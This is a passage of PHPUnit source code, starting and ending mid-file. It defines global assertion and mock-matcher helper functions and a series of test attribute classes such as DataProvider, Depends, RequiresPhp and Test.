(!function_exists('PHPUnit\Framework\isInfinite')) { function isInfinite(): IsInfinite { return Assert::isInfinite(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isNan')) { function isNan(): IsNan { return Assert::isNan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsEqual')) { function containsEqual(mixed $value): TraversableContainsEqual { return Assert::containsEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsIdentical')) { function containsIdentical(mixed $value): TraversableContainsIdentical { return Assert::containsIdentical(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsOnly')) { function containsOnly(string $type): TraversableContainsOnly { return Assert::containsOnly(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\containsOnlyInstancesOf')) { function containsOnlyInstancesOf(string $className): TraversableContainsOnly { return Assert::containsOnlyInstancesOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\arrayHasKey')) { function arrayHasKey(mixed $key): ArrayHasKey { return Assert::arrayHasKey(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isList')) { function isList(): IsList { return Assert::isList(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalTo')) { function equalTo(mixed $value): IsEqual { return Assert::equalTo(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToCanonicalizing')) { function equalToCanonicalizing(mixed $value): IsEqualCanonicalizing { return Assert::equalToCanonicalizing(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToIgnoringCase')) { function equalToIgnoringCase(mixed $value): IsEqualIgnoringCase { return Assert::equalToIgnoringCase(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\equalToWithDelta')) { function equalToWithDelta(mixed $value, float $delta): IsEqualWithDelta { return Assert::equalToWithDelta(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isEmpty')) { function isEmpty(): IsEmpty { return Assert::isEmpty(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isWritable')) { function isWritable(): IsWritable { return Assert::isWritable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isReadable')) { function isReadable(): IsReadable { return Assert::isReadable(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\directoryExists')) { function directoryExists(): DirectoryExists { return Assert::directoryExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\fileExists')) { function fileExists(): FileExists { return Assert::fileExists(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\greaterThan')) { function greaterThan(mixed $value): GreaterThan { return Assert::greaterThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\greaterThanOrEqual')) { function greaterThanOrEqual(mixed $value): LogicalOr { return Assert::greaterThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\identicalTo')) { function identicalTo(mixed $value): IsIdentical { return Assert::identicalTo(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isInstanceOf')) { function isInstanceOf(string $className): IsInstanceOf { return Assert::isInstanceOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\isType')) { function isType(string $type): IsType { return Assert::isType(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\lessThan')) { function lessThan(mixed $value): LessThan { return Assert::lessThan(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\lessThanOrEqual')) { function lessThanOrEqual(mixed $value): LogicalOr { return Assert::lessThanOrEqual(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\matchesRegularExpression')) { function matchesRegularExpression(string $pattern): RegularExpression { return Assert::matchesRegularExpression(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\matches')) { function matches(string $string): StringMatchesFormatDescription { return Assert::matches(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringStartsWith')) { function stringStartsWith(string $prefix): StringStartsWith { return Assert::stringStartsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringContains')) { function stringContains(string $string, bool $case = true): StringContains { return Assert::stringContains(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringEndsWith')) { function stringEndsWith(string $suffix): StringEndsWith { return Assert::stringEndsWith(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\stringEqualsStringIgnoringLineEndings')) { function stringEqualsStringIgnoringLineEndings(string $string): StringEqualsStringIgnoringLineEndings { return Assert::stringEqualsStringIgnoringLineEndings(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\countOf')) { function countOf(int $count): Count { return Assert::countOf(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\objectEquals')) { function objectEquals(object $object, string $method = 'equals'): ObjectEquals { return Assert::objectEquals(...func_get_args()); } } if (!function_exists('PHPUnit\Framework\callback')) { /** * @psalm-template CallbackInput of mixed * * @psalm-param callable(CallbackInput $callback): bool $callback * * @psalm-return Callback */ function callback(callable $callback): Callback { return Assert::callback($callback); } } if (!function_exists('PHPUnit\Framework\any')) { /** * Returns a matcher that matches when the method is executed * zero or more times. */ function any(): AnyInvokedCountMatcher { return new AnyInvokedCountMatcher; } } if (!function_exists('PHPUnit\Framework\never')) { /** * Returns a matcher that matches when the method is never executed. */ function never(): InvokedCountMatcher { return new InvokedCountMatcher(0); } } if (!function_exists('PHPUnit\Framework\atLeast')) { /** * Returns a matcher that matches when the method is executed * at least N times. */ function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher { return new InvokedAtLeastCountMatcher( $requiredInvocations, ); } } if (!function_exists('PHPUnit\Framework\atLeastOnce')) { /** * Returns a matcher that matches when the method is executed at least once. */ function atLeastOnce(): InvokedAtLeastOnceMatcher { return new InvokedAtLeastOnceMatcher; } } if (!function_exists('PHPUnit\Framework\once')) { /** * Returns a matcher that matches when the method is executed exactly once. */ function once(): InvokedCountMatcher { return new InvokedCountMatcher(1); } } if (!function_exists('PHPUnit\Framework\exactly')) { /** * Returns a matcher that matches when the method is executed * exactly $count times. */ function exactly(int $count): InvokedCountMatcher { return new InvokedCountMatcher($count); } } if (!function_exists('PHPUnit\Framework\atMost')) { /** * Returns a matcher that matches when the method is executed * at most N times. */ function atMost(int $allowedInvocations): InvokedAtMostCountMatcher { return new InvokedAtMostCountMatcher($allowedInvocations); } } if (!function_exists('PHPUnit\Framework\returnValue')) { function returnValue(mixed $value): ReturnStub { return new ReturnStub($value); } } if (!function_exists('PHPUnit\Framework\returnValueMap')) { function returnValueMap(array $valueMap): ReturnValueMapStub { return new ReturnValueMapStub($valueMap); } } if (!function_exists('PHPUnit\Framework\returnArgument')) { function returnArgument(int $argumentIndex): ReturnArgumentStub { return new ReturnArgumentStub($argumentIndex); } } if (!function_exists('PHPUnit\Framework\returnCallback')) { function returnCallback(callable $callback): ReturnCallbackStub { return new ReturnCallbackStub($callback); } } if (!function_exists('PHPUnit\Framework\returnSelf')) { /** * Returns the current object. * * This method is useful when mocking a fluent interface. */ function returnSelf(): ReturnSelfStub { return new ReturnSelfStub; } } if (!function_exists('PHPUnit\Framework\throwException')) { function throwException(Throwable $exception): ExceptionStub { return new ExceptionStub($exception); } } if (!function_exists('PHPUnit\Framework\onConsecutiveCalls')) { function onConsecutiveCalls(): ConsecutiveCallsStub { $arguments = func_get_args(); return new ConsecutiveCallsStub($arguments); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class After { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class AfterClass { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class BackupGlobals { private readonly bool $enabled; public function __construct(bool $enabled) { $this->enabled = $enabled; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class BackupStaticProperties { private readonly bool $enabled; public function __construct(bool $enabled) { $this->enabled = $enabled; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class Before { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class BeforeClass { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5236 */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class CodeCoverageIgnore { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class CoversClass { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class CoversFunction { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param non-empty-string $functionName */ public function __construct(string $functionName) { $this->functionName = $functionName; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class CoversNothing { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DataProvider { /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param non-empty-string $methodName */ public function __construct(string $methodName) { $this->methodName = $methodName; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DataProviderExternal { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class Depends { /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param non-empty-string $methodName */ public function __construct(string $methodName) { $this->methodName = $methodName; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsExternal { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsExternalUsingDeepClone { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsExternalUsingShallowClone { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsOnClass { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsOnClassUsingDeepClone { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsOnClassUsingShallowClone { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsUsingDeepClone { /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param non-empty-string $methodName */ public function __construct(string $methodName) { $this->methodName = $methodName; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class DependsUsingShallowClone { /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param non-empty-string $methodName */ public function __construct(string $methodName) { $this->methodName = $methodName; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class DoesNotPerformAssertions { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class ExcludeGlobalVariableFromBackup { /** * @psalm-var non-empty-string */ private readonly string $globalVariableName; /** * @psalm-param non-empty-string $globalVariableName */ public function __construct(string $globalVariableName) { $this->globalVariableName = $globalVariableName; } /** * @psalm-return non-empty-string */ public function globalVariableName(): string { return $this->globalVariableName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class ExcludeStaticPropertyFromBackup { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $propertyName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $propertyName */ public function __construct(string $className, string $propertyName) { $this->className = $className; $this->propertyName = $propertyName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function propertyName(): string { return $this->propertyName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class Group { /** * @psalm-var non-empty-string */ private readonly string $name; /** * @psalm-param non-empty-string $name */ public function __construct(string $name) { $this->name = $name; } /** * @psalm-return non-empty-string */ public function name(): string { return $this->name; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class IgnoreClassForCodeCoverage { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class IgnoreDeprecations { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class IgnoreFunctionForCodeCoverage { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param non-empty-string $functionName */ public function __construct(string $functionName) { $this->functionName = $functionName; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5513 */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class IgnoreMethodForCodeCoverage { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS)] final class Large { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS)] final class Medium { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class PostCondition { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class PreCondition { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class PreserveGlobalState { private readonly bool $enabled; public function __construct(bool $enabled) { $this->enabled = $enabled; } public function enabled(): bool { return $this->enabled; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class RequiresFunction { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param non-empty-string $functionName */ public function __construct(string $functionName) { $this->functionName = $functionName; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class RequiresMethod { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName) { $this->className = $className; $this->methodName = $methodName; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class RequiresOperatingSystem { /** * @psalm-var non-empty-string */ private readonly string $regularExpression; /** * @psalm-param non-empty-string $regularExpression */ public function __construct(string $regularExpression) { $this->regularExpression = $regularExpression; } /** * @psalm-return non-empty-string */ public function regularExpression(): string { return $this->regularExpression; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class RequiresOperatingSystemFamily { /** * @psalm-var non-empty-string */ private readonly string $operatingSystemFamily; /** * @psalm-param non-empty-string $operatingSystemFamily */ public function __construct(string $operatingSystemFamily) { $this->operatingSystemFamily = $operatingSystemFamily; } /** * @psalm-return non-empty-string */ public function operatingSystemFamily(): string { return $this->operatingSystemFamily; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class RequiresPhp { /** * @psalm-var non-empty-string */ private readonly string $versionRequirement; /** * @psalm-param non-empty-string $versionRequirement */ public function __construct(string $versionRequirement) { $this->versionRequirement = $versionRequirement; } /** * @psalm-return non-empty-string */ public function versionRequirement(): string { return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class RequiresPhpExtension { /** * @psalm-var non-empty-string */ private readonly string $extension; /** * @psalm-var null|non-empty-string */ private readonly ?string $versionRequirement; /** * @psalm-param non-empty-string $extension * @psalm-param null|non-empty-string $versionRequirement */ public function __construct(string $extension, ?string $versionRequirement = null) { $this->extension = $extension; $this->versionRequirement = $versionRequirement; } /** * @psalm-return non-empty-string */ public function extension(): string { return $this->extension; } /** * @psalm-return null|non-empty-string */ public function versionRequirement(): ?string { return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class RequiresPhpunit { /** * @psalm-var non-empty-string */ private readonly string $versionRequirement; /** * @psalm-param non-empty-string $versionRequirement */ public function __construct(string $versionRequirement) { $this->versionRequirement = $versionRequirement; } /** * @psalm-return non-empty-string */ public function versionRequirement(): string { return $this->versionRequirement; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class RequiresSetting { /** * @psalm-var non-empty-string */ private readonly string $setting; /** * @psalm-var non-empty-string */ private readonly string $value; /** * @psalm-param non-empty-string $setting * @psalm-param non-empty-string $value */ public function __construct(string $setting, string $value) { $this->setting = $setting; $this->value = $value; } /** * @psalm-return non-empty-string */ public function setting(): string { return $this->setting; } /** * @psalm-return non-empty-string */ public function value(): string { return $this->value; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS)] final class RunClassInSeparateProcess { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class RunInSeparateProcess { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS)] final class RunTestsInSeparateProcesses { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS)] final class Small { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class Test { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * 